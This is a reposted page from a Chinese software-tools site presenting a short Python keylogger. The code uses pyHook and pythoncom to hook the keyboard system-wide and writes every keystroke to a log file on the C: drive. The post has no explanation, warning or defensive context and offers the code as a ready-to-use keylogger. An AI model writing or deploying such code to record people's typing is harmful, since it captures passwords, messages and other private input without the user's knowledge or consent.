当前位置: 首页 > 工具软件 > KeyLogger > 使用案例 >

keylogger

皇甫逸清
2023-12-01

import pyHook
import sys
import pythoncom
import logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

转载于:https://www.cnblogs.com/anjunact/p/6060275.html

相关阅读

相关文章

相关问答